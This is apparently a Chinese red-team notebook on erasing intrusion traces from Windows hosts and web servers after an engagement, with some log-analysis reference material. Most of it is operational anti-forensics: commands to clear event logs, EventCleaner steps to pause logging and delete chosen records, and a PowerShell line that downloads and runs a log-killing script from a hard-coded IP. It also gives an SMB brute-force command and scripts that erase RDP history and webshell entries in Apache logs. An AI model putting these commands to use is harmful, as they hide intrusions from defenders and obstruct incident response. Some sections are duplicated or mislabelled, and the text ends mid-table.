Windows 日志痕迹清除
总述
本文讲述了 Windows 的常见日志:
系统日志、中间件日志、框架日志、行为日志 等相关日志的 存储位置 以及 清除。
神
0. 利用的所有工具清除
我们自用的相关工具,很多都是经过了我们自己的 免杀、二开 等相关处理了的,在上线的时候需要标注清除每个工具在哪些主机上,在项目结束了以后需要全部进行清除的。
否则:
轻则 免杀失效。
重则 APT-Ai 分析,提取特征、习惯 - 对我们整个团队都有一个测绘,以后每次项目我们的相关特征只要符合了都能快速溯源到我们。
1)webshell
caidao
weevely
antSword
rebeyond
Godzilla

2)隧道⼯具
Icmpsh
Pingtunnel
EarthWorm
Venom
Stowaway
Frp
Udp2raw
DnsCat2 && Dnscat2-Powrshell
Tunna
reGeog&&Neo-reGeorg
abptts
3)落地样本
清除落地样本,避免捕获分析、免杀失效、被狩猎和攻击劫持。

1. 系统日志
详细信息看 yijing 课件。
安全 - 日志文件:
%systemroot%\system32\config\SecEvent.EVT;
系统 - 日志文件:
%systemroot%\system32\config\SysEvent.EVT;
应用程序 - 日志文件:
%systemroot%\system32\config\AppEvent.EVT;
DNS - 日志文件:
%systemroot%\system32\config\DnsEvent.EVT;
删除指定记录的日志:
https://github.com/QAX-A-Team/EventCleaner
%systemroot% = C:\Windows
Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对 Windows 日志进行清除和绕过。


1、Windows 系统日志 - 分类
详细信息看 yijing 课件。
C:\Windows\System32\winevt\Logs\
%systemroot%\System32\winevt\Logs\
Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
在渗透测试过程中,Windows 日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对 Windows 日志进行清除和绕过。
1)系统日志(System)
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
默认日志路径: %SystemRoot%\System32\Winevt\Logs\System.evtx
2)应用程序日志(Application)
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。
默认日志路径:%SystemRoot%\System32\Winevt\Logs\Application.evtx
3)安全日志(Security)
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或 者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。
安全日志记录着事件审计信息,包括用户验证 (登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。
默认日志路径:%SystemRoot%\System32\Winevt\Logs\Security.evtx



2、日志查看
1)日志查看器
eventvwr.msc
控制面板\系统和安全\管理工具


2)查看日志
# 查看所有日志(PowerShell)
Get-winEvent
# 查看应用程序类别下的日志(CMD)
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}


3、日志分析
1. 常见登录事件 - 日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明
- 事件 ID
| 事件 ID(Event ID) | 事件描述 | 核心说明 |
|---|---|---|
| 4624 | 登录成功 | 记录用户(包括普通用户、系统账户等)成功登录系统的行为,可用于追溯正常登录轨迹 |
| 4625 | 登录失败 | 记录登录尝试失败的行为,常见原因包括密码错误、账户锁定、权限不足等,可用于排查异常登录尝试 |
| 4634 | 注销成功 | 记录用户或系统自动触发的注销操作完成,标志着当前登录会话正式结束 |
| 4647 | 用户启动的注销 | 明确记录由用户主动发起的注销操作(区别于系统自动注销),体现用户自主退出行为 |
| 4672 | 使用超级用户(如管理员)进行登录 | 专门记录具有高权限的账户(如 Administrator)登录行为,需重点监控以防范权限滥用 |
| 4720 | 创建用户 | 记录在系统中新增用户账户的操作,通常由管理员执行,可用于追溯账户创建来源 |
- 登录类型
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
| 登录类型(Type) | 登录类型名称 | 描述说明 |
|---|---|---|
| 2 | 交互式登录(Interactive) | 指用户在计算机本地控制台进行的登录,即直接在设备前通过键盘、鼠标操作完成的登录,是最常见的本地登录方式(如日常开机后在 Windows 登录界面输入密码登录)。 |
| 3 | 网络(Network) | 记录从远程网络登录本地计算机的行为,典型场景包括:连接共享文件夹(如\\计算机名\共享文件夹)、访问共享打印机、通过网络映射驱动器等,本质是通过网络协议(如 SMB)发起的非本地交互登录。 |
| 4 | 批处理(Batch) | 主要与计划任务或批处理程序启动相关: 1. 当 Windows 执行计划任务时,“计划任务服务” 会为任务创建新登录会话(使用任务配置的用户账户),此时日志记为类型 4; 2. 其他依赖批处理机制的工作任务系统启动时,也可能产生该类型登录; 3. 需注意:失败的类型 4 登录可能是恶意猜解密码,也可能是计划任务配置的用户密码变更后未同步更新。 |
| 5 | 服务(Service) | 与服务运行账户关联: 1. 每个 Windows 服务需配置特定用户账户(如 Local System、管理员账户或专用服务账户),当服务启动时,系统会为该账户创建登录会话,日志记为类型 5; 2. 失败的类型 5 登录通常因服务配置的用户密码变更,但服务参数未同步更新导致。 |
| 7 | 解锁(Unlock) | 对应屏幕保护锁定后的解锁操作: 1. 若系统开启屏保锁定功能(如离开一段时间后自动锁屏),用户需重新输入用户名和密码解锁屏幕,此时产生类型 7 登录日志; 2. 可用于追溯用户解锁设备的时间和频率,辅助判断设备使用间隔。 |
| 8 | 网络明文(NetworkCleartext) | 指登录过程中密码以明文形式在网络传输的登录行为,典型场景包括: 1. IIS 服务器上的 ASP 程序登录(部分旧版配置); 2. FTP 协议登录(非 SSL/TLS 加密的 FTP 连接); 3. 因密码明文传输存在安全风险,该类型登录需重点监控,优先建议升级为加密传输方式。 |
| 9 | 新凭证(NewCredentials) | 通常由RUNAS /Netonly命令触发: 1. 当用户使用 RUNAS /Netonly命令以其他用户身份运行程序时(仅对远程网络访问生效,本地操作仍使用当前用户权限),系统会创建新的凭证会话,日志记为类型 9; 2. 常见于需要临时用其他权限访问远程资源(如数据库、服务器)的场景。 |
| 10 | 远程交互(RemoteInteractive) | 对应远程桌面类访问: 1. 通过 “终端服务”“远程桌面(RDP)”“远程协助” 连接本地计算机时,系统记为类型 10,以区分本地控制台的交互式登录(类型 2); 2. 注意:Windows XP 及更早版本(如 Windows 2000)不支持该类型,会将远程桌面登录误记为类型 2。 |
| 11 | 缓存交互(CachedInteractive) | 用于域环境下无域控制器连接时的登录: 1. Windows 默认缓存最近 10 次域用户交互式登录的凭证 HASH; 2. 当用户在域外环境(如笔记本离线、域控制器不可用)登录时,系统会使用缓存的 HASH 验证身份,此时产生类型 11 登录日志。 |
1)本地交互式登录
本地交互式登录,也就是我们每天最常使用的登录方式。
相关的详细分析,查看 yijing 讲义。
A. 4648-4624-登录成功
首先是成功的登录,从日志分析来看至少会有2个事件发生,ID分别为 4648、4624,以下从上至下分别是各自的截图。



B. 4625-登录失败
失败的本地登录,会产生ID 4625的事件日志

2)RDP协议远程登录
A. 4648-4624-4672-登录成功
使用mstsc远程登录某个主机时,使用的帐户是管理员帐户的话,成功的情况下会有ID为 4648、4624、4672 的事件产生。

B. 4625-登录失败
登录事件 ID为 4625
登录类型为 10(远程交互)

3)共享文件夹 - IPC$
远程访问某台主机的共享资源,如某个共享文件夹
A. 4624-登录成功
使用正确的用户名和密码访问远程共享主机,登录事件ID为4624,登录类型为3(Network),审核成功。列出了源网络地址和端口。


如果访问共享资源使用的帐户名、密码正确,但是该用户对指定的共享文件夹没有访问权限时仍然会有ID为 4624 的认证成功事件产生。


B. 2625-登录失败
登录失败 事件ID 4625
登录类型 3
同RDP协议远程登录一样,使用不存在的用户名和错误密码分别登录失败,ID为4625,登录类型为3(网络)。审核失败,列出了登录失败的账户名和失败原因。


4)RUNAS
登录成功
事件ID 2624
登录类型 9


5)小总结
- 在进程尝试通过显式指定帐户的凭据来登录该帐户时生成 4648 事件。
- 成功的登录通常会有 4624 事件产生,在创建登录会话后在被访问的计算机上生成此事件。
- 如果用户有特权会有 4672 事件产生。
- 通常情况下只需关注登录类型为 2、3、9、10 类型的 4625 登录失败事件。
6)登录爆破实例
| 事件 ID(Event ID) | 事件类型 | 核心描述 | 关键应用场景 |
|---|---|---|---|
| 4624 | 登录成功 | 记录所有用户(普通用户、系统账户、服务账户等)成功登录系统的行为,日志中会附带登录类型、登录账户、客户端 IP(远程登录时)等关键信息。 | 1. 追溯正常登录轨迹,确认用户登录时间和方式; 2. 结合登录类型(如 Type 10 远程交互)排查合法远程访问记录。 |
| 4625 | 登录失败 | 记录所有登录尝试失败的行为,日志中会标注失败原因(如密码错误、账户锁定、权限不足、账户不存在等)、登录账户、客户端 IP 等信息。 | 1. 排查暴力破解攻击(短时间内大量 4625 事件,且账户多为常见用户名); 2. 定位账户异常(如合法用户频繁输错密码,可能是密码遗忘或账户被冒用)。 |
| 4634 | 注销成功 | 记录登录会话的正式结束,包括用户主动注销、系统自动注销(如超时未操作)、远程会话断开等场景,标志当前登录状态终止。 | 1. 关联 4624 事件,完整追溯用户 “登录 - 注销” 的会话周期; 2. 排查异常会话断开(如未主动操作却频繁注销,可能是连接不稳定或恶意中断)。 |
| 4647 | 用户启动的注销 | 专门记录由用户主动发起的注销操作(区别于系统自动注销),明确体现用户自主退出登录的行为。 | 1. 区分 “用户主动退出” 与 “系统自动注销”,精准判断用户操作意图; 2. 验证用户是否按规范退出系统(如敏感操作后是否及时注销)。 |
| 4672 | 超级用户登录 | 仅记录具有高权限的账户(如 Administrator、域管理员账户等)成功登录的行为,属于重点监控的特权操作日志。 | 1. 实时监控管理员账户的使用情况,防范权限滥用; 2. 追溯特权操作的源头(如管理员登录后执行的关键配置变更,可通过 4672 关联后续操作日志)。 |
检查方法 - 1
1、Win+R 输入 eventvwr.msc,打开事件管理器
2、Windows日志 -> 安全 -> 筛选当前日志
3、输入事件ID:4625 ,进行日志筛选
4、发现事件ID:4625,事件数8153,即用户登录失败了8153次,那么这台服务器管理员账号可能遭遇了暴力猜解。

检查方法 - 2
也可通过手动编辑XML过滤进行筛选:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[EventID=4625]]
and
*[EventData[Data[@Name='IpAddress']='192.168.81.134']]
</Select>
</Query>
</QueryList>
查看网络信息,可得知爆破来源IP为 192.168.81.134

筛选来自此IP的登录成功日志 4624,判断是否爆破登录成功
筛选当前日志,XML,手动编辑查询,输入如下XML过滤语句:
查询 Windows 安全日志 中,由 IP 地址 192.168.81.134 发起的 所有登录成功记录(无时间限制,覆盖日志留存周期内的全部匹配事件)。
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System/EventID=4624]
and
*[EventData[Data[@Name='IpAddress']='192.168.81.134']]
</Select>
</Query>
</QueryList>
在 “指定 IP 筛选” 基础上,增加 时间范围限制,仅查询 近 2 小时内 由 192.168.81.134 发起的登录成功记录(适用于实时审计、近期异常行为排查)。
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[
EventID=4624
and
TimeCreated[timediff(@SystemTime) <= 7200000]
]]
and
*[EventData[Data[@Name='IpAddress']='192.168.81.134']]
</Select>
</Query>
</QueryList>
发现存在以下登录成功日志

hydra 登录爆破
hydra -l administrator -P rockyou.txt smb://192.168.81.219 -vV
4. 日志分析工具
这方面是蓝队相关的核心知识了,先暂时放过。
详细信息看 yijing 课件。
1)Log Parser
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
Log Parser 2.2下载地址:
https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser 使用示例:
https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/
更多详细的信息看 yijing 课件吧。
2)Event Log Explorer
Event Log Explorer 是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系 统,应用程序和其他微软 Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。
下载地址:
https://event-log-explorer.en.softonic.com
5. Windows痕迹清除
相关参考文献:
https://github.com/Bypass007/Emergency-Response-Notes/blob/master/%E7%AC%AC02%E7%AB%A0%EF%BC%9A%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%E7%AF%87/%E7%AC%AC1%E7%AF%87%EF%BC%9AWindows%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90.md
1)Windows日志清理
wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。
统计日志列表,查询所有日志信息,包含时间,数目
wevtutil.exe gli Application

获取security的最近五条日志
wevtutil qe Security /f:text /rd:true /c:5

获得Security的前十条Security日志
wevtutil qe Security /f:text /c:5
wevtutil qe Security /f:xml /c:10
wevtutil qe Security /rd:true /c:10



导出指定日志保存
wevtutil.exe epl Security 1.evtx


查看指定类别的日志内容
wevtutil qe Application /f:text /c:10

删除该类日志所有内容
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"




2)清理 Meterpreter 日志
1、删除所有在渗透过程中使用的工具
2、删除之前添加的账号
net user username /del
3、删除应用程序、系统和安全模块日志
clearev
4、关闭所有的Meterpreter连接
sessions
sessions -K
5、查看事件日志
run event_manager -i
6、删除事件日志
run event_manager -c
3)停止日志记录
利用脚本让日志功能失效,无法记录日志。
powershell "IEX(new-object system.net.webclient).downloadstring('http://120.55.169.128:8000/phant0m.cna');Invoke-Phant0m"
把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录
net start eventlog
4)EventLogMaster
奇安信 A-Team 的很好用的一款清理工具。
EventCleaner 是一款主要用于删除 Windows 事件日志中指定记录的工具,同时具备暂停 / 恢复日志记录、释放日志文件占用等附加功能,适用于对 Windows 事件日志(如 security.evtx)进行精准操作的场景。
项目地址:
https://github.com/QAX-A-Team/EventCleaner
| 命令格式 | 功能描述 | 详细说明 |
|---|---|---|
EventCleaner suspend | 暂停 Windows 事件日志服务的日志线程 | 执行后,Windows 事件日志服务将停止记录任何新日志(包括安全日志、系统日志等),直到执行恢复命令。 |
EventCleaner normal | 恢复 Windows 事件日志服务的日志线程 | 用于解除 “suspend” 状态,恢复日志正常记录功能,确保后续操作能被正常日志捕获。 |
EventCleaner closehandle | 释放 Windows 事件日志服务对 security.evtx 文件的独占句柄 | Windows 事件日志服务默认会独占锁定 security.evtx(安全日志文件),执行此命令可释放该锁定,以便对 security.evtx 文件进行手动操作(如复制、编辑、删除等)。 |
EventCleaner 100 | 删除事件记录 ID 为 100 的日志条目(数字可替换为目标日志的实际 ID) | 需先通过 “事件查看器” 确认目标日志的 “事件记录 ID”,替换命令中的 “100” 即可精准删除指定日志(示例:删除记录 ID 为 500 的日志,命令为 EventCleaner 500)。 |







操作流程示例(典型场景)
若需执行 “规避日志记录的操作” 并清理指定日志,可按以下步骤操作:
- 释放日志文件锁定(必须!):执行
EventCleaner closehandle,解除 security.evtx 的独占占用(如需操作其他日志文件,需配合对应配置); - 删除指定日志:执行
EventCleaner [目标记录ID](如EventCleaner 2024),删除已确认的目标日志条目; - 暂停日志记录:执行
EventCleaner suspend,停止新日志生成; - 执行目标操作:在此状态下进行所需操作(期间不会产生新日志);
- 恢复日志记录:操作完成后,执行
EventCleaner normal,恢复日志正常记录功能; - 清理工具痕迹:删除 EventCleaner 工具文件,避免残留。
示范 - 清除 4625 登陆失败 日志
# 释放日志文件锁定
EventCleaner closehandle
# 暂停日志记录
EventCleaner suspend
# 清除 4625 登陆失败 日志
EventCleaner.exe 4625
# 恢复日志记录功能
EventCleaner normal
执行前

执行后


我擦不对劲啊,这个 句柄错误 好像是直接把 日志功能打崩了啊。。。
2. 敏感⽬录下的 临时⽂件
可能在我们 内网横移、渗透 等的过程当中,难免会在这些敏感的目录文件下生成一些临时的文件,在后期痕迹清除的时候记得删除。
C:\Windows\Temp
C:\Users\All Users\
C:\ProgramData\
C:\Users\Admin\AppData\Local\Temp\
C:\Users\administrator\AppData\Local\Temp\
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start up\
C:\Users\administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Start up\

3. 计划任务
计划任务记得清除干净我们的痕迹。
schtasks /delete /tn qiaoshen /s 10.10.10.20 /f
schtasks /delete /tn qiaoshen /s 10.10.10.20 /u administrator /p 1qaz@WSX /f


4. 远程桌⾯连接记录
# 每一步空出来了知道有哪些操作,其实这本质上是个 bat 脚本,每次痕迹清除导入到目标主机执行清除即可。
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp
5. Web 日志
根据目标 Web 服务的中间件不同,我们需要清除不同路径下的 日志文件,且清除方法也不尽相同。
1)Apache
Apache安装路径:
%Apache_home%
日志文件默认路径:
%Apache_home%\logs\access.log
在默认配置下,Apache HTTP Server(简称 Apache)主要生成两类核心日志文件:Access Log(访问日志) 和 Error Log(错误日志),分别记录客户端访问行为与服务器运行异常。不同操作系统(Windows/Linux)的日志存储路径、配置文件位置存在差异,以下从日志类型、路径、定位方法等维度系统总结。
一、Apache 核心日志类型及作用
Apache 的日志功能由配置文件(httpd.conf 或 apache2.conf)控制,默认启用两类关键日志:
| 日志类型 | 核心作用 | 关键记录内容 |
|---|---|---|
| Access Log | 记录所有客户端对 Apache 服务器的 HTTP/HTTPS 访问请求,用于审计访问行为 | 客户端 IP、访问时间、请求方法(GET/POST)、访问的 URL 路径、状态码(200/404/500)、用户代理(UA)等 |
| Error Log | 记录 Apache 服务器运行过程中的错误、警告、调试信息,用于排查服务故障 | 错误发生时间、错误级别(Notice/Warning/Error/Critical)、错误描述(如模块加载失败、文件不存在、权限不足)等 |
二、Apache 日志存储路径(分系统 / 常见版本)
Apache 的日志路径由配置文件中的 CustomLog(Access Log)和 ErrorLog(Error Log)指令定义,不同系统、不同安装方式(源码安装 / 包管理安装 / 一键安装)的默认路径差异较大,以下为主流场景的默认路径:
Windows 下 Apache 多为一键安装(如 XAMPP、WAMP 集成环境,或独立安装包),默认路径与安装目录强关联:
| 日志类型 | 独立安装(Apache 官方包)默认路径 | XAMPP 集成环境默认路径 | WAMP 集成环境默认路径 |
|---|---|---|---|
| Access Log | C:\Program Files\Apache Group\Apache2\logs\access.log | C:\xampp\apache\logs\access.log | C:\wamp64\bin\apache\apacheX.X.X\logs\access.log(X.X.X 为 Apache 版本号,如 2.4.54) |
| Error Log | C:\Program Files\Apache Group\Apache2\logs\error.log | C:\xampp\apache\logs\error.log | C:\wamp64\bin\apache\apacheX.X.X\logs\error.log |
注意:Windows 路径中的
Apache Group或apacheX.X.X会因 Apache 版本不同略有差异(如 Apache 2.4 版本可能显示为Apache24)。
三、快速定位 Apache 关键信息(日志路径 / 安装目录)
1. 默认路径
| 日志类型 | 独立安装(Apache 官方包)默认路径 | XAMPP 集成环境默认路径 | WAMP 集成环境默认路径 |
|---|---|---|---|
| Access Log | C:\Program Files\Apache Group\Apache2\logs\access.log | C:\xampp\apache\logs\access.log | C:\wamp64\bin\apache\apacheX.X.X\logs\access.log(X.X.X 为 Apache 版本号,如 2.4.54) |
| Error Log | C:\Program Files\Apache Group\Apache2\logs\error.log | C:\xampp\apache\logs\error.log | C:\wamp64\bin\apache\apacheX.X.X\logs\error.log |
注意:Windows 路径中的
Apache Group或apacheX.X.X会因 Apache 版本不同略有差异(如 Apache 2.4 版本可能显示为Apache24)。
若默认路径失效(如手动修改过配置、非标准安装),可通过以下方法快速定位 Apache 安装目录、配置文件及日志路径:
-
Windows 系统:
- 独立安装:打开 Apache 服务属性(“服务”→找到 Apache 服务→右键 “属性”),“可执行文件路径” 中通常包含配置文件路径(如
-f "C:\Program Files\Apache24\conf\httpd.conf") - XAMPP/WAMP:直接在集成环境目录中找(如 XAMPP 的
apache\conf目录,WAMP 的apache\apacheX.X.X\conf目录)
- 独立安装:打开 Apache 服务属性(“服务”→找到 Apache 服务→右键 “属性”),“可执行文件路径” 中通常包含配置文件路径(如
2. 从配置文件中提取日志路径
打开 Apache 主配置文件(httpd.conf 或 apache2.conf),搜索以下关键字,直接获取实际日志路径:
-
Access Log:搜索
CustomLog指令,示例:# Windows 示例(独立安装) CustomLog "logs/access.log" combined其中
${APACHE_LOG_DIR}为 Linux 下的日志目录变量(通常对应/var/log/apache2),logs/为相对路径(基于 Apache 安装目录)。 -
Error Log:搜索
ErrorLog指令,示例:# Windows 示例(XAMPP) ErrorLog "logs/error.log"
3. 定位 Apache 安装目录
-
Windows 系统:
- 集成环境(XAMPP/WAMP):直接在桌面快捷方式上右键 “打开文件所在位置”,上级目录即为集成环境根目录,Apache 目录在其中(如
xampp\apache) - 独立安装:通过 “控制面板”→“程序和功能”,找到 Apache 条目,右键 “更改”→“修复”(无需实际修复),过程中会显示安装目录;或通过服务属性的 “可执行文件路径” 反推(如
C:\Program Files\Apache24\bin\httpd.exe对应安装目录C:\Program Files\Apache24)
- 集成环境(XAMPP/WAMP):直接在桌面快捷方式上右键 “打开文件所在位置”,上级目录即为集成环境根目录,Apache 目录在其中(如
四、webshell 痕迹清除需重点关注的 Apache 日志
若需清除 Apache 环境下的 webshell 痕迹,核心关注两类日志,需结合 webshell 行为(如访问路径、执行异常)针对性处理:
| 日志类型 | 需清除的关键痕迹 | 操作建议 |
|---|---|---|
| Access Log | 1. 客户端 IP 访问 webshell 文件的记录(如 GET /webshell.jsp HTTP/1.1) 2. 异常 POST 请求(如向 webshell 提交命令的请求) | 1. 直接删除日志文件(需注意日志轮转,避免遗漏历史日志,如 access.log.1) 2. 用文本编辑器(如 Linux 的 sed)定向删除包含 webshell 路径的行(需谨慎,避免破坏日志完整性) |
| Error Log | 1. webshell 执行错误导致的 500 错误记录(如代码语法错误、权限不足) 2. 访问不存在的 webshell 衍生文件的 404 错误 | 同 Access Log 处理方式,优先删除异常记录行,或替换敏感信息(如客户端 IP、文件路径) |
额外注意:Linux 下 Apache 日志可能开启 “日志轮转”(通过
logrotate工具),需检查/var/log/httpd/或/var/log/apache2/目录下的历史日志文件(如access.log.1、access.log.2.gz),避免遗漏痕迹;Windows 下无默认日志轮转,但需注意是否手动配置过日志切割工具(如 LogRotateWin)。
清理
细微清理
# 替换为你的 access.log 实际路径
$logPath = "C:\Apache24\logs\access.log"
# 读取文件内容,过滤掉包含 "shell.php" 的行,再写回文件
(Get-Content $logPath) | Where-Object { $_ -notmatch "shell.php" } | Set-Content $logPath
$logPath = "C:\Apache24\log\access.log"
# 注意 IP 中的点需要转义(用 \.),避免被当作正则通配符
(Get-Content $logPath) | Where-Object { $_ -notmatch "123\.123\.123\.123" } | Set-Content $logPath
暴力清理
del C:\Apache24\logs\access.log
echo. > C:\Apache24\logs\access.log
五、核心总结
| 维度 | Linux 系统 | Windows 系统 |
|---|---|---|
| 核心日志类型 | Access Log(访问)、Error Log(错误) | 同 Linux |
| 默认日志路径(包管理 / 集成环境) | Access Log:/var/log/httpd/access_log(RHEL)或 /var/log/apache2/access.log(Ubuntu);Error Log:对应目录下的 error_log/error.log | Access Log:C:\xampp\apache\logs\access.log(XAMPP);Error Log:对应目录下的 error.log |
| 配置文件位置 | /etc/httpd/conf/httpd.conf(RHEL)或 /etc/apache2/apache2.conf(Ubuntu) | C:\Program Files\Apache24\conf\httpd.conf(独立安装)或 xampp\apache\conf\httpd.conf(XAMPP) |
| webshell 痕迹重点 | Access Log 中的 webshell 访问记录、Error Log 中的执行错误记录,需注意日志轮转文件 | 同 Linux,需检查是否有手动配置的日志切割文件 |
2)Nginx
Apache安装路径:
%Apache_home%
日志文件默认路径:
%Apache_home%\logs\access.log
Nginx安装路径假设:
%Nginx_home%
配置文件 nginx.conf中配置日志路径(配置文件那行命令)如:
access_log logs/access.log main
访问日志默认路径:
%Nginx_home%\logs\access.log
一、Nginx 核心日志类型及默认路径
Nginx 的日志功能由配置文件(nginx.conf)控制,默认生成两类核心日志:访问日志(Access Log) 和 错误日志(Error Log);部分场景下会自定义业务日志,但默认仅启用前两类。
不同操作系统的默认安装路径不同,因此日志路径也存在差异,具体如下:
Windows 系统(较少用于生产,多为测试)
Windows 下 Nginx 多为压缩包解压安装(默认无统一安装目录,需用户指定,常见如 D:\nginx-1.24.0\),日志默认存储在 Nginx 安装目录的 logs 子文件夹中:
| 日志类型 | 默认路径(以安装目录 D:\nginx-1.24.0\ 为例) | 核心作用(与 Linux 完全一致) |
|---|---|---|
| Access Log | D:\nginx-1.24.0\logs\access.log | 记录所有客户端对 Nginx 的 HTTP/HTTPS 请求细节,含:请求时间、客户端 IP、请求方法(GET/POST)、请求 URL、响应状态码(200/404/502)、请求来源(Referer)、客户端浏览器信息(User-Agent)等,用于排查访问异常、统计流量。 |
| Error Log | D:\nginx-1.24.0\logs\error.log | 记录 Nginx 服务运行中的错误 / 警告信息,含:启动失败(如端口被占用)、配置语法错误、反向代理连接失败(如后端服务宕机)、文件不存在(404 源头)等,是排查 Nginx 服务故障的核心日志。 |
| 自定义日志 | 无默认路径(需在 nginx.conf 中指定) | 如按域名拆分日志(如 access_xxx.com.log)、按业务模块拆分日志,路径由用户自定义(通常放在 /var/log/nginx/ 子目录下)。 |
二、关键补充:Nginx 日志配置与路径修改
默认日志路径可通过 Nginx 主配置文件(nginx.conf)修改,核心配置项如下,需区分 全局配置(所有虚拟主机生效)和 虚拟主机配置(仅特定域名生效):
1. 核心配置项
| 配置项 | 作用 | 示例(Linux) | 示例(Windows) |
|---|---|---|---|
access_log | 启用 / 禁用访问日志,指定路径和日志格式(格式需提前定义,默认 combined) | access_log /var/log/nginx/access.log combined; | access_log D:/nginx-1.24.0/logs/access.log combined; |
error_log | 启用 / 禁用错误日志,指定路径和日志级别(级别:debug→info→notice→warn→error→crit→alert→emerg,默认 error) | error_log /var/log/nginx/error.log error; | error_log D:/nginx-1.24.0/logs/error.log error; |
log_format | 自定义访问日志格式(如添加请求耗时、后端服务 IP 等字段) | log_format myfmt '$remote_addr [$time_local] "$request" $status $request_time'; | 格式语法与 Linux 一致,仅路径不同。 |
2. 配置文件示例(Linux)
# 全局配置(所有虚拟主机生效)
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
# 自定义日志格式(可选)
log_format combined '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
# 全局日志路径(若虚拟主机未单独配置,将继承此路径)
access_log /var/log/nginx/access.log combined;
error_log /var/log/nginx/error.log error;
# 虚拟主机配置(单独指定日志路径,覆盖全局配置)
server {
listen 80;
server_name xxx.com;
# 该域名的专属访问日志
access_log /var/log/nginx/access_xxx.com.log combined;
# 该域名的专属错误日志(可选,不配置则用全局 error_log)
error_log /var/log/nginx/error_xxx.com.log warn;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
}
三、如何快速定位 Nginx 安装路径与日志路径?
若忘记 Nginx 安装目录或日志路径,可通过以下命令 / 方法快速定位(区分操作系统):
| 定位目标 | 常用命令 / 方法 | 说明 |
|---|---|---|
| 找到 Nginx 安装目录 | 1. 若通过快捷方式启动:右键快捷方式→“属性”→“起始位置” 即为安装目录; 2. 若通过命令行 / 后台进程启动:先执行 tasklist findstr nginx 找到进程,再用 Process Explorer 等工具查看进程的 “工作目录” | 安装目录下通常包含 nginx.exe(可执行文件)和 logs 文件夹(默认日志路径)。 |
| 找到配置文件 nginx.conf | 1. 先确定 Nginx 安装目录; 2. 进入安装目录下的 conf 子文件夹; 3. 在 conf 文件夹中直接找到 nginx.conf 文件(无后缀名) | 打开 nginx.conf 后,搜索 access_log 或 error_log 即可获取实际日志路径,配置文件可通过记事本、Notepad++ 等工具打开编辑 |
四、webshell 痕迹清除需重点关注的 Nginx 日志
若需清除 Nginx 环境下的 webshell 痕迹,核心关注两类默认日志,需结合 webshell 的访问、执行行为针对性处理,同时注意自定义日志(如按域名拆分的访问日志)的遗漏风险:
| 日志类型 | 需清除的关键痕迹 | 操作建议 |
|---|---|---|
